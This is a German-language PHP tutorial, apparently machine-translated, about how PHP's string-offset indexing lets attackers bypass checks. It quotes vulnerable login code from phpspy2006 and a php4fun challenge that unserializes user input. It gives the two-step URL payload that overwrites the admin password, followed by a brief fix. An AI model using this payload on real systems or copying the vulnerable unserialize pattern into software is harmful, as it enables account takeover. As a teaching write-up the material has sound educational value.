Heim >Backend-Entwicklung >PHP-Tutorial >Lösung zur Umgehung der durch die Offset-Funktion in PHP verursachten Sicherheitslücke

Lösung zur Umgehung der durch die Offset-Funktion in PHP verursachten Sicherheitslücke

小云云
小云云Original
2018-02-08 13:53:581962Durchsuche

Dieser Artikel stellt Ihnen hauptsächlich die relevanten Informationen über die Bypass-Schwachstelle vor, die durch die Zeichenoffset-Funktion in PHP verursacht wird. Der Artikel stellt nicht nur die Entstehung der Schwachstelle im Detail vor, sondern, was noch wichtiger ist, stellt die Reparaturmethode vor, die sicher ist Referenz für alle. Ich hoffe, es kann jedem helfen.

Zeichenversatzfunktion in PHP

Strings in PHP haben eine sehr interessante Funktion. Strings in PHP können auch wie Arrays ausgewertet werden.

$test = "hello world";
echo $test[0];

Das Endergebnis ist h.

Aber die obige Funktion hat manchmal unerwartete Auswirkungen. Schauen Sie sich den folgenden Code an.

$mystr = "hello world";
echo $mystr["pass"];

Das Ausgabeergebnis des obigen Codes ist h. Tatsächlich ist es sehr einfach. Wie in vielen anderen Sprachen können auch Zeichenfolgen in PHP Indizes verwenden, um Werte zu erhalten, genau wie Arrays. Der Pass in $mystr["pass"] wird implizit in 0 konvertiert, sodass das Ausgabeergebnis von $mystr[0] der Anfangsbuchstabe h ist.
Ähnlich, wenn Sie den folgenden Code ausprobieren:

$mystr = "hello world";
echo $mystr["1pass"];

Das Ausgabeergebnis ist e. Da 1pass durch den impliziten Typ in 1 konvertiert wird, ist das Ausgabeergebnis von $mystr[1] der zweite Buchstabe e.

Sicherheitslücke durch Zeicheneigenschaften

Der folgende Code wird in phpspy2006 verwendet, um die Anmeldung zu bestimmen.

$admin['check'] = "1";
$admin['pass'] = "angel";
......
if($admin['check'] == "1") {
....
}

Eine solche Verifizierungslogik kann durch die Nutzung der oben genannten Funktionen leicht umgangen werden. $admin ist zunächst nicht als Array-Typ definiert. Wenn wir also phpsyp.php?admin=1abc mit einem String übermitteln, übernimmt PHP das erste Bit des Strings 1xxx und umgeht damit erfolgreich die if-bedingte Beurteilung.

Der obige Code ist ein Codefragment, und der folgende Code ist ein vollständiger Logikcode, der aus Frage 5 in php4fun stammt, was sehr interessant ist.

<?php
# GOAL: overwrite password for admin (id=1)
#  Try to login as admin
# $yourInfo=array( //this is your user data in the db
# &#39;id&#39; => 8,
# 'name' => 'jimbo18714',
# 'pass' => 'MAYBECHANGED',
# 'level' => 1
# );
require 'db.inc.php';

function mres($str)
{
 return mysql_real_escape_string($str);
}

$userInfo = @unserialize($_GET['userInfo']);

$query = 'SELECT * FROM users WHERE id = \'' . mres($userInfo['id']) . '\' AND pass = \'' . mres($userInfo['pass']) . '\';';

$result = mysql_query($query);
if (!$result || mysql_num_rows($result) < 1) {
 die(&#39;Invalid password!&#39;);
}

$row = mysql_fetch_assoc($result);
foreach ($row as $key => $value) {
 $userInfo[$key] = $value;
}

$oldPass = @$_GET['oldPass'];
$newPass = @$_GET['newPass'];
if ($oldPass == $userInfo['pass']) {
 $userInfo['pass'] = $newPass;
 $query = 'UPDATE users SET pass = \'' . mres($newPass) . '\' WHERE id = \'' . mres($userInfo['id']) . '\';';
 mysql_query($query);
 echo 'Password Changed.';
} else {
 echo 'Invalid old password entered.';
}

Das Internet gibt nur eine abschließende Antwort auf diese Frage und die Prinzipien werden nicht oder nicht im Detail erklärt. Tatsächlich liegt das Prinzip in den oben erwähnten Charaktereigenschaften von PHP.

Die Frageanforderung ist sehr einfach, nämlich das Passwort des Administrators zu ändern. Die ID des Administrators ist 1. Wir müssen über die folgenden Fragen nachdenken:

  • Wie ändere ich die ID während des Updates auf 1?

  • $userInfo['pass'] = $newPass; Was macht diese Codezeile? Ändern Sie das Passwort des Benutzers mit der ID 8 in 8, übergeben Sie dann eine UserInfo-Zeichenfolge „8“, um den Abfrageschutz zu durchbrechen, und verwenden Sie schließlich $userInfo['pass'] = $newPass, um die ID in 1 zu ändern.

Die endgültige Nutzlast ist;


Erste Übermittlung, index.php?userInfo=a:2:{s:2:"id";i:8 ;s :4:"pass";s:12:"MAYBECHANGED";}&oldPass=MAYBECHANGED&newPass=8, der Zweck besteht darin, das Passwort des Benutzers mit der ID 8 in 8 zu ändern


Senden Sie es für die Sekunde Zeit, index.php?userInfo=s:1:"8";&oldPass=8&newPass=1, auf diese Weise erhält die serialisierte $userInfo die Zeichenfolge '8', also $userInfo = '8', also die Die Überprüfung der Datenbankabfrage kann erfolgreich sein. Die anschließende Überprüfung kann auch über diese Codezeile $userInfo['pass'] = $newPass; erfolgen. Da der Wert von $newpass 1 ist, wird der obige Code zu $userInfo['pass'] = 1;, $userInfo Aufgrund eines String-Typs ist das Endergebnis $userInfo='1' und schließlich kann das Passwort des Benutzers mit der ID 1 aktualisiert werden.


Behebungsmethode

Die Reparaturmethode für diese Art von Schwachstelle ist ebenfalls sehr einfach. Definieren Sie den Datentyp im Voraus und prüfen Sie, ob der verwendete Datentyp mit dem erwarteten übereinstimmt, wenn Sie ihn verwenden. Andernfalls kommt es zu den oben genannten Bypass-Problemen. Gleichzeitig muss die Eingabe kontrolliert werden, und die Eingabedaten müssen überprüft werden und dürfen nicht beiläufig verwendet werden.

Verwandte Empfehlungen:

Instanzanalyse von Offset und gleichmäßiger Bewegung in JS

SQL-Optimierung von übermäßigem Offset beim MySQL-Paging Beispielfreigabe

Detaillierte Erläuterung des Unterschieds zwischen style.width und offsetWidth in js

Das obige ist der detaillierte Inhalt vonLösung zur Umgehung der durch die Offset-Funktion in PHP verursachten Sicherheitslücke. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn